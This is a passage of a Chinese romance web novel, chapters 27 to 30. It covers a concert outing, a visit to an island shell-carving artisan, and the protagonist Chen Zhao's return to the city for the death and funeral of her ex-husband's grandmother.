表里不一,这四个字可能没有谁诠释得比陈昭更好了。 27、027. 近三个小时的演唱会,众人都意犹未尽。 散场后周竹君和蔡建国两人,嗓子明显哑了。蔡叔顶不住,一口气喝了两瓶水,还是蔡奇递给他的:“哎你慢点!我真服了,五十好几的人了,人二十岁的年轻人都没你来劲!于思存哼哧一声,忍不住朝他翻了个白眼:“有这种爸爸你就知足吧!!再说,谁规定五十岁就不能有劲了?"“说不过你!”蔡奇龇牙咧嘴,作势要吓唬他,于思存朝他竖了个中指,一溜烟跑到蔡叔背后躲开了他的攻击。本是安静的出口处,下一秒又传来竹君激动到要晕菜的尖叫。“啊啊啊!签名照!!啊啊!昭姐我爱死你了!" 旁人惊恐的目光中,竹君将陈昭抱了个满怀。 陈昭差点都喘不过气来,但看到她这么开心,自己也被这情绪感染。 小岛过了七点就没有票回去了,所以陈昭提前给他们安排好了住宿的酒店。 吃晚饭的湘菜馆,就在酒店旁边。 蔡叔多年没这么酣畅淋漓过,一口气喊了两瓶酒,让蔡奇和沈确陪着喝,陈昭也陪着喝了点,可是喝了不到一杯,发现本应该摆在自己面前的那瓶酒,此刻已经被沈确不知是有意还是无意的,拿到他的脚下。眼前又多了一瓶鲜奶。她顺势拿过鲜奶,给又抱过来的竹君满上。今天大家都很开心,以至于蔡叔一瓶酒下肚,喝多了,开始他戳心子的真心话环节。只见他煞有其事地举杯,要和陈昭碰杯:“昭昭,今天真是谢谢你了!托了你的福,咱们才能这么开心!是不是?蔡奇第一个附和他爸,立刻给自己满上:“我老头说的话我向来不认同,唯独这句!我十分的赞同!" “昭姐,感谢!我干了你随意! 说完一个仰头便一口喝下,蔡叔见状,笑呵呵地又给儿子满上。 “你啊,就跟你老父亲我一样,倔!不过却没我半分的帅气。想当年我像你这么大的时候,那可是…十里八乡的美男子,逢人谁不说一句我是未来的电视明星啊。 “还电视明星呢!不过我也承认,刚才你是有那么点帅气!来,喝吧!" 蔡奇重重与他碰杯,喝到后面,两人勾肩搭背,说起了推心置腹的话。 说到蔡奇妈妈,两人皆是一把鼻涕一把泪地哭起来。 陈昭下意识地看了一眼沈确,他还是那副开始见他的样子,身子倚靠在椅背,懒散地坐着自顾自地喝酒。 吃完这顿饭,蔡奇父子俩都醉到不省人事。 沈确和于思存他们合力将两人挪到酒店,陈昭打配合为他们刷卡,等两人都摔到柔软的大床上后,沈确才双手叉腰,眼灼灼地盯着陈昭。 “你这局下的是大。" 陈昭微微一笑:“看出来了?" 沈确失笑,坦然开口:“就你带我们坐的位置,还有那歌手,我可是和你一起见过他的。老牌歌手,同时也是老太太的旧相识。虽然没很多交集,但名利场上,多少打过交道当初她带沈确去看望老太太的时候,刚好那歌手似乎找老太太有事,在庄园里喝茶。 可能沈确就是在那时见过。 “顺于拜托别人帮个小忙而已,蔡叔那么喜欢唱歌,酣畅一回又如何呢?” 一个人循规蹈矩惯了,便习惯性地去收敛,压抑自己的本性。 如她,当初一心想继承老太太的衣钵,为此要付出不少,所以平日该有的东西,全部被她剔除 将自己困在一隅天地里,克制了她一切放飞的可能性。 一如她亲手在自己身上绑了一根风筝线,飞得再高,她的根依旧是在陈家,在新丽, 可是后来,她突然就不想这样了。 于是亲手剪掉了那根线,飞到了小岛。 沈确送她到房间门口时,并不打算离开,反而站到门口想进去讨一杯水。 然而脚还没迈过门槛,芬姐拎着一些零食走了过来。 “小沈,你蔡叔他们都睡下了吧?" 沈确收回双脚,笑了笑轻嗯了一声。 芬姐又拎着东西进屋:“那你也早点去休息,明天我们赶早回去。 陈昭上前,微抬下巴“赶客”:“早点休息。” 不等沈确回答,陈昭已经挥手关上房门。 再进去时候,芬姐已经搬好椅子到小桌子旁,吃的喝的也摆上了, 她今天吃饭的时候虽然没有喝多,但也喝了一些。 显然现在还不尽兴,自己又开了一瓶啤酒。 见陈昭坐下后,芬姐双手支着下巴,由衷地开口:“昭昭,虽然我知道我再来说感谢的话已经没什么必要,但我还是想亲口谢谢你。 “我们能看到今天的演唱会,真是多亏了你。而且我还看到了竹君喜欢的那孩子。” “长得.….真帅啊。" 她微微一笑,目光很是温柔。 “这是我第一次进入竹君的世界,看到她那么开心,我…我好想做什么都值得了,我也真的很开心。’ 她笑着笑着眼角便湿润了,拉着陈昭喝了起来,但给陈昭的却是饮料。 陈昭还想去倒啤酒,却被她拦下:“身体要紧,喝饮料一样的。 “我就是很久没这么开心过,又不知道和谁才能表达我的感觉,所以才来找你说一说。 在陈昭看来,她的目的,就是想让身边人开心一点。 尤其是自己不费劲就可以办到的事,何尝不呢? 后来两人漫无目的地聊着,陈昭是个很好的倾听者,兴致勃勃又不厌其烦地听芬姐聊到村里谁家的小狗生了,谁家又被偷鱼了,还有竹君调皮捣蛋的小时候。 逗的陈昭连连发笑。 不知不觉,芬姐就倒在床上睡了过去,陈昭洗漱完后也打算关灯睡觉,却在最后一刻看到手机屏幕亮起来。 是沈确发的消息,几张合照。 蔡叔父子,勾肩搭背的冲镜头比剪刀手,还有一张蔡叔上头,狠狠亲了一口蔡奇脸颊的照片,蔡奇震惊到五官乱飞的神情刚好被镜头捕捉下来。 还有竹君尽情展示她的应援横幅,刘润生就跟个木头人一样,带着淡淡的微笑笔直地站在她身边。 还有沈确持镜的一张自拍,所有人都回头看镜头,唯独陈昭却看向沈确. 这张照片混在那么多的照片里并不起眼,可是陈昭的心却漏了一拍。 就好像自己掩藏多年的秘密,被冷不丁地展示在众人面前,让所有人都窥见。 好在沈确什么也没说,发了照片就没消息了。 给了足够的时间让陈昭自我消化。 殊不知沈确也在盯着这张照片看,甚至比划着,确定陈昭的视线,就是在看自己. 那一刻,他心里的某些情绪,翻江倒海一般的涌来,若不是碍于芬姐,他恨不得现在就冲进陈昭的房间,挡住她的去路逼迫她正视内心。 然而这么冲动又鲁莽的想法,也仅限于在那一刻突发奇想。 晚上过后,彼此都冷静了下来。 回程的路上,蔡奇脸色尴尬地装头晕,眯着眼睛在船上假寐。 起因是昨晚不知道他喝醉了还是怎么的,把父子俩亲密的照片发到了朋友圈,刚刚才发现还是于思存故意讽刺他:“大孝子,年纪轻轻就口是心非!不过你的确没蔡叔长得帅。" 这下蔡奇才恍然过来,然而此时反应过来也晚了。点赞的一大片,村里的那些长辈,更是一脸艳羡地在评论区发玫瑰花,发笑脸,说着恭喜恭喜,赞叹父子情深尬到蔡奇的脚指头都要扣出城堡了。 蔡叔虽不自在,可是心里乐呵得很,还转身小声问沈确,让沈确教他怎么保存照片。回岛后,芬姐的街坊邻居,但凡路过的都要来羡慕两句。下午那会,陈昭收到了康老师的消息。康老师是下午四点到小岛上,还给陈昭他们带了不少家乡的特产,说是等会给陈昭送去。陈昭一看,立刻问芬姐:“芬姐,咱们附近谁家有车吗?康老师回来了,我想着借辆车去码头接一下,他们带的行李不少。''康老师他们这么快就过来了啊?车的话就拿蔡奇的吧,虽然脏是脏了点,接个人…"诶诶!芬姐!!我车子年前才洗过,香喷喷得很,可不脏!"蔡奇打断芬姐的话,毫不犹豫地把车钥匙丢给陈昭:“昭姐,你随便用。 “谢谢。陈昭和康老师确定了下时间,提前了十分钟到达码头,刚好遇到研究团队那群人出海,沈确站在队伍后面,高高大大的,陈昭一眼便看见了他带队的是杨指导,看见陈昭后热情地招呼,后面蒋姨他们也纷纷和她打招呼。唯独沈确,什么也没表示,就嘴角扬着一个弧度,看了她一眼。陈昭临到嘴边的话被迫收回去,放下略显尴尬的手,目送他们上了游艇他们本是初十正式上班,今天估计是临时来了任务。等接到康老师和庄教授二老时,陈昭才惊讶他们竟然带了这么多的东西自己的行李很少,可是家里特产,恨不得都搬过来了。尤其是给陈昭的,满满一个行李箱。除了各种干货吃的,还有一些鲁锦,康老师特意告诉她。“昭昭,我大儿娘是做鲁锦的手工匠人,这些都是她亲手做的,用了最原始的织布机,从纱线上机到出布,一共有七十二道工序,很环保,在我们那边又寓意吉祥,用这锦缎可以做任何东西,很实用的,。“还有啊,我亲手做的花馍馍,想让你尝尝。”看着琳琅满目的东西,陈昭都不知道如何回应才好。“康老师,你和庄教授真是太客气了!你们这么折腾地带过来,多辛苦啊。我们先回家。”听到回家这两个字,康老师露出笑容,却在上车的时候忽然咳嗽不止。陈昭看了一眼后视镜,问道:“康老师感冒了吗?” 28、028. 康老师笑着摇摇头:“老毛病了,没事。 见她和庄教授都没什么回应,陈昭也没多想。先带他们回小楼看了一下,随后才去住的地方放行李。 陈昭帮他们收拾东西的时候,康老师忽然想到了什么,问了问陈昭。 “昭昭,我听说这小岛上有那种贝雕画卖,你知道在哪吗?我大儿媳说的,还想让我给她寄几幅回去。 “后来我去了解了下,这贝雕画精致的很嘞。 见她提起这个,陈昭马上想到了薛老,当即表示:“想买画的话好说啊,我就认识一个匠人,也看过他的作品,非常好。 “不瞒康老师你说,我还荣幸至极的拜了师。 “真的吗?”康老师惊讶,加快收拾的速度,迫不及待地让陈昭带她去见一见这个匠人。 陈昭想到过年期间还没有去看看薛老,正好趁这个机会拜访一下。于是先去家里提了不少礼物,再带着康老师一起上门。彼时薛老家还有村干部,陈昭进院子的时候还想着来的不是时候,结果那村干部看到她热情不已,连忙询问。“这位是陈小姐吧?研究院那小沈的姐姐!"陈昭笑了笑,伸手问好。村干部马上自我介绍:“你好你好,我是村里的妇联主任,叫我玲姐就行。““现在陈小姐是代小沈过来看望薛老的吧?哎呀,你们一家人真是太热心了!!!小沈对薛老那真是无微不至的照顾啊。玲姐笑眯眯的畅谈起来,看到康老师气质独特,得知是大学老师后,更是双眼崇拜,三言两语就聊到一块去了。陈昭把今天来的目的说了下,问了问薛老可否让康老师去看看他的那些作品。薛老毫不犹豫地带着他们去了院子内的书房。屋子里面立着人大小小数不清的贝雕画,每一幅都是精美绝伦,尤其细看起来,更是惊艳。康老师在一众画里,一眼就瞧见了由香云纱打底的系列图。贝雕仙鹤与各色香云纱的结合,特色十足。“太漂亮了。”康老师把眼镜带上,细细的观摩起来,恨不得拿个放大镜仔仔细细的看一看。主任赶紧说起:“这种贝雕画在咱们这不稀奇,可是薛老的手艺,可是难求啊!"“薛老一家三代都是搞这个的,以前聆海不少的人预订都预订不到嘞!" 尽管陈昭不是第一次看这些作品了,但每次一见还是会忍不住的惊叹。 里面不少作品,能进拍卖行的话,多的不说,至少会比现在售价要多不少。 当然,这东西的价值,还需要背后的推手康老师看中了好几幅,准备询价之际,薛老笑着罢手:“我这那么多,随便拿就是,反正也卖不出去。"“难得遇到个欣赏的,赠予你们倒比我贱卖还来的好。随便拿,不用客气。”“薛老!!难得有人欣赏你的作品,就送出去人家也不好意思要啊。”妇联主任笑着打趣,陈昭也附和:“薛老别和我们客气,这是你引以为傲的作品,也是独一无二的手艺,怎能白拿呢?“康老师是真心想买,你就按照预期的价格说就好啦。"康老师也表示肯定:“没错,薛老,不能亵渎了你的作品。薛老只笑:“我是打心里觉得你们能真心喜欢,我就很开心了。““你看我也活不了多长时间,这么多的东西,到时候都成废品遗弃那就更可惜。你们拿走,我心里还好受一些。"“卖的话也没什么人要买,现在科技上来了,机器雕琢下来的作品一点也不输我们手工。以后这门手艺也吃不起饭,你们拿着做收藏,挺好挺好。 他坦然的笑着,可陈昭听了却不是滋味。哪怕妇联主任,也觉得可惜。深叹口气说:“有时候咱们不得不顺应时代。咱们都是被时代淘汰的。"“这么特色又精美的手艺,断了也挺可惜。“薛老,方便我多拍一些照片吗?我爱人不少学生都是做建筑的,他们很喜欢这些。"陈昭看康老师一幅一幅的仔细拍照,心中也有所动容。趁着这空档,她也拍了一些照片,打开微信。上次询问的人还没有给她回复,这次她一发照片过去,对方马上回了消息。“陈小姐实在抱歉,上次的估价还没出来,工作人员昨天才正式上班。"“没关系,我这还有几幅我觉得不错的,你们要细节图的话我也发过来了,等估价后再联系我。"陈昭刚把这条信息发出去,门外就传来了熟悉的声音。“玲姐,你怎么来了?"“哎呀,小沈啊!你今天也有空过来?我以为你让你姐姐过来看望薛老,是自己没时间呢。沈确微微一笑,目光已经落到一旁的陈昭身上。两人似乎有心灵感应一般,四目相对。陈昭看到他额头上薄薄的一层汗,似乎是跑着过来的。沈确不动声色地走到她身边,一边回答主任的话,一边替薛老展示更多的作品。一圈看下来,康老师心满意足,犹如逛了一遭艺术馆。当她执意要买几幅画,并且听到价位还不到四位数一幅后,震惊之余,尽是惋惜,以至于在回去的路上,康老师对陈昭说了真心话。“薛老的这些作品,真的厉害,就这么蒙尘,实属可惜了。““而且贝雕画是小岛的特色,后继无人,也是可惜。"说完不忘看了一眼沈确,问他“小沈,薛老先生就没有个学徒什么的吗?"看到沈确摇头,康老师长叹了一口气。陈昭想问问他关于薛老的一些事。“阿确,我已经把薛老部分作品发给了拍卖行的朋友,第一轮估价后我再看情况要不要重新推一手。“对了,薛老他有没有兴趣培养接班人?"沈确微微眯眼,他当初只想着她身边有人能多买几幅收藏就好。现在看来,她似乎想的比自己要多多了。“你想给他找接班人?"陈昭笑了笑:“这就得看薛老想不想,不过我的目的也不是这个。”“既然大家都觉得埋没了这些可惜,为什么不把它的价值放大,让更多人去看见?你问问杨指导,你们第二批观鲸计划考不考虑把创作贝雕画纳入行程里? “这事,你怎么不直接和杨指导说?要我传达?" 陈昭一时不理解他的脑回路,楞了一下,还以为他是懒得麻烦,双手一摊:“我直接联系也可以。 说完便拿出手机,在通讯录里面寻找杨指导的联系方式。 沈确失笑,伸手盖住她的手机:“我帮你传达。 看来她并不知道,他现在是高兴。 明明是可以直接联系杨指导的,但还是要自己转手。 这难道不是一种变相依赖吗? “你笑什么?" 陈昭疑惑的看向他,沈确只是勾了勾嘴角,故作正经的收敛笑容。 陈昭微微眯眼,总觉得他是在笑自己。 不过后面的话还没来得及说出口,她的手机忽然在口袋里响起。 陈昭看到是孟均来的电话,犹豫了一下并没接。 但后来又响起来时,她才接听起来。 然而不等她开口,孟均沙哑的声音便传出来。 而一旁的沈确也看到了孟均的名字。 日光沉下后,余光有意无意的落在陈昭身上,亲眼看到她微微起的眉头,以及微变的脸色。 孟均这两个字,无名让他心里来了火。 可等陈昭放下电话后,他还来不及开口,陈昭便问:“今天还有离岛的船吗?"沈确微愣:“你要离岛?"陈昭已经拿出手机,订了今晚聆海直飞明港的机票。看到这架势,沈确明白可能是有急事了。他鲜少见到陈昭这样,平时的她做任何事情都是井并有条,提前规划好。尤其像出行这类事,除非意外情况,不然就不会这么行事匆匆。可是这是和孟均有关的事。沈确忽地拉住她腕骨:“姐夫出什么事了?"这声姐夫那是意味深长。陈昭也来不及解释:“孟太快不行了,阿确,告诉我最快的船票是什么时候。孟太?沈确知道她,很久以前,孟太还时不时的会去找老太太,他也曾见过几次。不过,如果那时候他知道孟均会和陈昭结婚,他也不会在孟太面前表现的懂事乖顺孟太还一直夸赞,正因为陈昭和姑姑是有善心的人,沈确才能长的这么好。对于陈昭来说,她也不仅仅只是丈夫的祖母,也更是她熟悉的长辈。生死关头,沈确反手拉住她的手,快步走出便利店里让她上自行车。他用最快的速度把陈昭送到码头,而最近的船就在他们落地瞬间,即将停止检票。甚至他们告别的话还来不及说,陈昭已经被沈确飞速拉着跑去船上。检票口的栅栏隔绝了两人,等陈昭办理好登船手续后,回头望去,发现船已经开动了。沈确双手叉腰倚靠在自行车上,缓了口气后破天荒的点了一根烟。呛人的气息贯穿他的肺部,一股难以言喻的心情烧入脑海。仿佛只有这股难以磨灭的烟气,才能覆盖住那些情绪。这时蔡奇刚好抱着一个轮胎路过这里,身后还跟着竹君这个小跟班,一路上都在碎碎念着他不给自己买薯片。蔡奇见到抽烟的沈确,忽然停下来,周竹君一不小心撞到他的轮胎上。“欸!你好端端的停下干什么?"她嘟囔了一声,摸着撞疼的鼻子顺着蔡奇的目光看过去。“咦?确哥?" 说完不等蔡奇阻拦,她已经跑到沈确面前。 “确哥,干嘛呢? 沈确顺手掐了烟,摇摇头:“送你昭昭姐走。 “啊??昭姐走了?走去哪啊?还会不会回来啊?!"她之前都没听说陈昭任何要离开的消息,这冷不丁的说要走,她着实吓了一跳.不过也反应过来,难怪确哥一副半死不活的样子。暗恋的人都要走了,谁不伤神啊。沙H天日三。Q学A文“不过是有点事情。“喔"竹君转动着眼珠子,想着确哥还挺自信。不过昭姐这么快离开,怕不是有急事。竹君本来想多问,可扭头又觉得自己不必问的太多。晚上,明港。陈昭的前助理惠玲开车来机场接她,一看见她便眼眶有些晕红。“陈姐….” 惠玲欲言又止,但看在陈昭状态很好后,心里的担忧又少了几分。虽然她很了解陈昭不喜欢身边的人过问太多,可是她依旧忍不住地问。“陈姐,仁济医院的病历单寄到我这里了,你.还好吗?”陈昭淡定道:“我让他们寄到你这的,你应该看过病历单了,我现在已经没事了。“那是不是要回新丽?陈姐,你忽然卸任,是因为生病了吗?“当时即便她这个贴身助理,也不知道陈昭为什么说卸任就卸任。她在陈姐身边这么多年,一点预兆都没有。以至于陈姐刚离开那段时间,不少人都想从她这里打听到一些事,但可惜她也不知道,无法给别人提供任何可用信息。直到她收到病历,才赫然反应。可是陈昭却否认:“并不是主因,我这次回来也不是回新丽,开车去暨明港,孟太快不行了。“什么?!"惠玲双手一抖,下意识的紧握方向盘,连带声音都主角颤抖起来。“孟太她.…她.…陈昭看向车窗外,飞驰而过的景色被拉成了一条又一条的霓虹线。此时她的心境,一如窗外这光怪陆离的世界一般。 杂乱,纷扰。 陈昭尽可能的平复心境,但这氛围,又像极了老太太离世的那天总之,她心里有股不好的预感。等她来到暨明港的别墅后,管家拉开大门,惠玲把车停在了正门口。陈昭下车后径直往孟太所在的房间走去。路过长廊时,还有几个孟家人看到她过来震惊不已。然而陈昭只是礼貌颔首,也不停下脚步。直到走入那个宽敞的,但又充满了药水味道的房间后,她才停下来。孟太的床边站了好几个人,都是孟家熟悉的面孔。尤其是孟均,正坐在床榻上,紧握着孟太的手,俯身听孟太说话。陈昭的出现打破了此地氛围,孟太见到她后,脸上露出笑容,伸出消瘦的手,示意她过去“昭昭,新年快乐啊,终于见到你了,我很开心呐!孟均给她让了个位置,陈昭顺势坐过去,从孟均手机握过孟太的手。瘦骨嶙峋,好似只剩下一层皮肤包裹着骨头。那时老太太离世,也是如此。“孟太,我回来看你了,新年快乐啊。不过回来的匆忙,礼物我没来得及带回来,明天我给你拿。 孟太笑了笑,又握住孟均的手,随后支走了其他人,只留下他们两人在场。因此也说出了陈昭他们意想不到的话。“昭昭,你和阿均离婚的事我其实早就知道了,今天…辛苦你过来一趟了。我想见的,不是阿均的妻子,而是昭昭而已。“你祖母去世那天悄悄和我说,让我照拂照桃你,你一个人接管陈家,托起新丽很不容易。我答应了她,可是.…你好得很,并不需要我的照拂,也不需要阿均的帮助。“我原以为,两个年轻人在一起,多少会生情,尤其是你和阿均都是很好的人,想着有一天你们看到彼此的闪光点了,也许就各自爱上了呢?只是我没想到,感情一事难以勉强,你们离婚的速度比我想的更快。““昭昭,现在你虽然脱离了陈氏,可我还是希望阿均能底护庇护你。哪怕你们两人已经不是夫妻,但也是能互相扶持的朋友不是么?"在陈昭来这之前,孟太就已经嘱咐过孟均,一定要照顾好陈昭。她一个女孩,在陈氏不好走。所以孟均回答的十分干脆:“放心,我会记着你嘱咐我的话。孟太轻嗯一声,面色苍白的又看向陈昭。“上个月赵家那姑娘来看望我,说你在一个小岛上度假,过的很开心是吗?以前我也很想去个小岛度假,昭昭,你在那都遇到了什么开心事啊?" 陈昭轻笑着拍了拍她的手背,耐心十足的和她说起小岛上的事。她温和的声音就像午夜电台里,抚慰人心的播音员,孟太时不时的露出笑容,也让孟均第一次见到了他想象外的陈昭。不再是那个雷厉风行,不言苟笑的女人。而是有些陌生。仿佛有一张熟悉面孔的陌生人。孟太咳嗽了几声,陈昭递过一旁的热水,顺便也给他倒了一杯。他接手的时候,愣了一下。而下一刻,孟太忽然丢出一个爆雷。“昭昭,你生病的事阿均还不知道,我怕我走了以后,阿均他.“生病?孟太的话还没说完,孟均已经走了过来,直勾勾地盯看陈昭,陈昭也是顿了一下,但很快恢复如常。“小问题而已,我已经好了,孟太,我能照顾好自己,当然,我和阿均也如你所言,做不成大妻,起码是相互扶持的朋友。陈昭不知道孟太是如何得知自己生病的事,不过她也能理解,她在弥留之际要将此事告诉孟均的目的。但她却没想到孟均的反应出乎意料。他当面拽着陈昭的手,双目异常郑重的询问:“生病的事,是什么情况?"陈昭摇了摇头,不以为然:“小问题,不.…"“陈昭!"孟均眸色沉了沉,不过考虑到孟太在场,语气又缓和了一些。“陈昭。 29、029. 孟均平日一副温和斯文的模样,沉下脸色时,还是颇有威严,如墨似的眼睛极具压迫感,可即便这样,陈昭还是面不改色地扯了扯嘴角说道。“并不重要,已经好了。”“孟太,你也要像我这样才行,不出几天就生龙活虎了。"她顺势把话题转移过去,澄亮的眼睛里也写满了拒绝的意思,这时孟太忽然猛烈的咳嗽两声,随着陈昭转移目光,孟均欲言又止陈昭起身给孟太调整了下坐姿,又找到其他的话题和她聊起来,让她能说会话孟家子嗣单薄,又大部分去了国外发展,所以这会还有好几个没有赶回来。孟均就这样坐在她们身边,听着陈昭耐心十足地和孟太聊天。聊着聊着,孟太的状态好转了一些,不仅能吃点东西,还能喝许久没下过口的糖水。 可是陈昭的心里却越发骤紧. 当初老太太也是如此,在她看来,是极为反常的。 她看到孟太握着自己的腕骨浅睡了过去,转身看向孟均,轻声示意让他把家人都喊过来。 孟均眉头微蹙,似乎意识到什么。 而两人一点轻微的动静,就让孟太微微睁开双眼。 “阿均" 陈昭立刻拉过孟均的手,放在孟太的手背上, 孟太勉为其难地扯出一个笑容,但还没维持两秒,身子忽然一颤,心口似乎被刺了一把刀。 剧烈的疼痛让她声音哆嗉起来,但她还是强撑着开口:“阿均,希望你和….昭昭能过好自己的人 最后一个字还没落地,她已经松开了手。 孟均的身子僵在那,脑子瞬间变得一片空白。 而陈昭仿佛又经历了一次老太太离世的场景,当时她的那句话也没说完,就匆匆离开。 这一刻,她就是忘记了情绪的五感,忘记哭,忘记悲伤,就那么定定地看着床上已经没了生命的遗体。 姑姑也是那样。 陈昭有时候会想,是不是历经的死亡多了,人也会对此事变得麻木。 可是当过了许久后,一旦想起离世的人,还是会心痛,她就觉得自己麻木不起来。 只是当时面临冷冰冰的分别时,情绪缓不过来- 直到身体所有细胞神经都接收了死亡的消息后,某些情绪才从身体里面排山倒海的涌出。 而后赶来的孟家人,很快就把房间占据。 痛哭痛喊的声音不绝于耳,她自觉的给那些人让出路来,目光却还停留在孟太沉静的脸上,周遭的声音,也渐渐被隔绝在一层无形的膜之外。 陈昭说不上来此刻的心境,但能肯定的是,心底深处的惋惜,痛苦,像一块巨石般的压着她 向来波澜不惊的孟均,此刻也红了眼圈,和其他孟家人一样的沉浸在悲痛之中。 陈昭又庆幸,自己及时赶回来,看了孟太最后一眼。 在外人眼中,她的身份还是孟均的妻子,并且也以这个身份出席了孟太的葬礼。 出殡那日,暴雨如注。 陈昭在陵园站了许久,以孟均妻子的身子送走了孟太最后一程,也送走了其他前来吊唁的宾客 众人疑惑消失已久的陈昭忽然回来,也纳闷两人的感情好似如初,但饶是如此,也没人多问。 她今天特意戴上了当初和孟均结婚时,孟太送的手镯。 通体白玉,毫无瑕疵,完美的成色当时还一度因此上过八卦新闻。 那会明港不少人都在讨论,陈家的“长公主”和孟家“太子”结合,是门当户对的商圈佳话。 那个天价镯子,还是孟太的祖传之物,可想而知孟太有多么喜欢这个孙娘妇。 而陈昭本人也是被不少人认可的。 但陈昭只戴过那一次,今天是第二次,也是最后一次。 连续两天的守夜,陈昭没怎么休息。 人去楼空后,她才感觉到浑身的疲惫。 惠玲给她带了点吃的过来,陈昭感激不已,看着惠玲特意多打的一份饭菜,她的目光落到不远处正在送宾客的孟均身上。 “谢谢,晚些时候我让司机接我就好,你早点回去休息。 陈昭勉强地对惠玲扯出一个笑容,惠玲张了张口,走了两步后最后还是忍不住地告诉她。 “陈姐,其实.你离开明港后,孟先生经常去你的别墅,有时候是坐一坐,有时候就开车在外面停留一些时间。” 交接新丽后,还有不少工作内容都需要惠玲帮忙。 当初生病时陈昭在家里处理公事比较多,所以惠玲这段时间往返她的房子次数不少。 听到这些话后,陈昭微微一怔,显然也不明白孟均这是什么意思。 等人走后,她才拿着饭菜去往那个小房间。 彼时孟均正安静的坐在椅子上,谁也不知道他在想什么。 陈昭收起伞,犹豫了一下后还是把饭菜放到案桌上。 正要开口,冷不丁地对上他的目光。 陈昭微微一愣,因为她还是第一次见到孟均湿润眼眶的样子。 在陈昭面前,他并没有打算掩饰情绪,任由眼角微红,泪意缓涌。 陈昭不擅长安慰人,准确来说,应该是不擅长安慰除了沈确以外的人。 尤其是这个看似熟悉,但和自己又隔着很远的“陌生人” 张了张口后,陈昭到嘴的话还是变成了一句:“吃点东西。 孟均垂下眸光,唇角自嘲一笑,不言不语的把饭盒打开,匆忙扒了几口饭。 房间安静的连针掉落的声音都清晰可见,看着窗外唰唰响动的树叶,陈昭逐渐出了神。 直到孟均忽然开口问她:“陈昭,当初你家老太太离世后,你也是这样。" 有条不紊。 在孟家其他人悲痛之下,出殡吊唁以及迎宾还有对接殡仪馆的各种葬礼细节,她都游刃有余地办好。 对外以孟均妻子的身份。 当初老太太离开后,她也是这样,无比冷静的亲手处理好后事。 冷静到孟均觉得她很薄情,好像从不表现多余的喜怒哀乐。 前两晚陪着孟太的温和女人,如今又好像和他隔了很远很远。 陈昭面向他,淡定的反问:“我一直是这样。 ''生老病死是世间规律,无论是谁都要经过这时期。孟太走的很安详,我们不必介怀太久。 当然,真正将孟太放在心里的人,后半辈子只要想起她,眼睛都是湿润的。 就似这四月的雨水。 只是孟均不知道她背后的潮湿。 反倒是觉得这个女人,比自己想象中的还要内核强大,情绪稳定, 他还是第一次在情绪上输给了一个女人,尤其是还从病魔手中抢回自己性命的女人。 直觉告诉他,陈昭得的不是小病。 沉默了一会后,孟均最终还是问出:“陈昭,就像你说的,哪怕我们做不成大妻,但还会是朋友,我希望.… 然而他的话还没说完,陈昭就已经猜到他要问什么。 这次并不逃避,坦然告诉了他:“乳腺癌。 "不过小命没事,上帝眷顾,保乳手术也很成功。 她扯了扯嘴角,意图将这个话题在孟均错愕的眼神中结束。 “孟均,这件事情已经过去了,而且我们的离婚并不是因为我的病,也不是因为我要离开新丽。" “那是因为什么?”孟均想不通,到现在都想不通。 直到她果断决绝的说出:“我不爱你,一直都是。 当初的婚姻,本来也是双方有利可图。 从彼此答应领证开始,就相互坦白过不奢求感情维系,顺其自然罢了 可后面孟均想要的越来越多,陈昭不想给。 虽然这话早就是他们之间默认的事实,可真正像利刃一样亮出锋芒的说出口,还是让孟均的眉头皱了皱。 眼前的女人,明明清瘦,此刻却像一座岿然不动的大山,压得他有些喘不过气。 他无奈地敛下目光,轻叹:“陈昭,你可真无情。" 陈昭却目光定定地看向他:“像你这样多情也不太好。 “孟均,我们现在已经是离婚的关系,更何况你身边还有个女孩,你起码.要做一个正常的,有责任感的男人。" 我和她的关系不是你想的那样,我们只是. 你们之间与我无关,这两天我们都很累了,先休息几天,有事给我发微信就好。 不等孟均说完,陈昭毫不犹豫地打断他的话,示意他好好吃饭后果断转身离开。 那把黑伞下,陈昭没有半点表情,清冷决绝,让孟均感到周身一片寒意。 他嗤笑了两声,心里只对孟太说:当初你和我说陈家的昭昭温和亲人,端庄漂亮。我只看到了后者。 陈昭仅有的一点温情时刻,可能也就是在她和孟太还有陈家老太太的相处上。 哦不,除此之外,他还在一张照片上看到过。 照片上的少年,听说是她姑姑的养子,叫沈确。 陈昭离开陵园后,从司机手里接过了方向盘,自己开车去了明码头。 车子停在灯塔路下,透过那哗哗而下的玻璃雨水,她隐隐约约看到码头海浪疯涨。 雨下的很大,路过的车子很少,她开了车窗的一条小缝,海风呼呼吹进,这才让她闷憋的情绪得以喘气。 但同时也让某些禁锢在心里很久很久的心情,纷纷冲了出来。 摸着孟太送给自己的玉镯子,她这一刻才真正的感受到,这个爱笑的老太太,是真的离开了。 她有些后悔,没有多给她打打电话,听听她的声音,看看她的笑脸。 就像老太太走了后一样,同样懊悔,自己那么多的时间,都花在了新丽上,却挪不开一丁半点,用来陪伴自己最重要的人。 随着他们一个个的离开,陈昭觉得白己能接受,时间能抚平一切.… 可到最后,不过是白欺欺人,不愿去多想罢了。 但凡想起来,心如刀割,疼痛不止。 车内的一包纸巾,全堵在了眼眶上。 不知过了多久,等彻底缓过神后,陈昭才发现自己的眼睛已经红肿起来. 将近一个小时的萎靡,像一只受伤的软体虫,暂时躲进了临时找的驱壳里养伤。 她只给自己不到三个小时的时间,接受现实,重回现实。 然而现实也给她重重一击。 回公寓不久,腹部极度不适,突如其来的月经弄脏了她的裤子. 翻箱倒柜也只找到了一粒过期的止痛药,惜命的她最终将这一粒丢进了垃圾桶里。 本想着叫个外卖送过来,暴雨太大,软件上并没有骑手接单 她索性取消,忍着痛意在马桶上坐了很长时间,好不容易缓解一些,却在出卫生间的那一刻,绊在地毯上,整个人直直摔下去 只听见砰的一声,陈昭磕到了嘴,一股浓郁的铁锈味从齿间晕开,疼痛间一个熟悉的怀抱迅速将她从地上拉起! “陈昭!” 30、030. 恍惚间,陈昭看到了沈确。 但她不确定是不是自己的幻觉,然而刚伸手,就被他紧紧抓住。 掌心的温度让她缓过神来,这并不是错觉。 “你怎么 话刚说完,沈确就用毛巾捂住了她嘴巴上的伤口。 后来陈昭都不知道怎么的就被抱到了车上,晕晕乎乎地来到最近的医院, 被送到一个单人病房里。 为她处理伤口的是一张熟悉的面孔,以前姑姑的一位朋友蒋姨。 陈昭摔了一跤,把牙齿给磕破了小半截,还把嘴唇给撞破了一个大伤口。 一通消炎清创缝针下来,她已经痛到怀疑人生,连半边脸都微微肿起来,下唇更是惨不忍睹。 陈昭忍无可忍地闷哼,尤其是在缝针时,虽然局部麻醉,可肚子却没躲过,抓着沈确的手,眼泪肆涌, 蒋姨都忍不住地打趣。 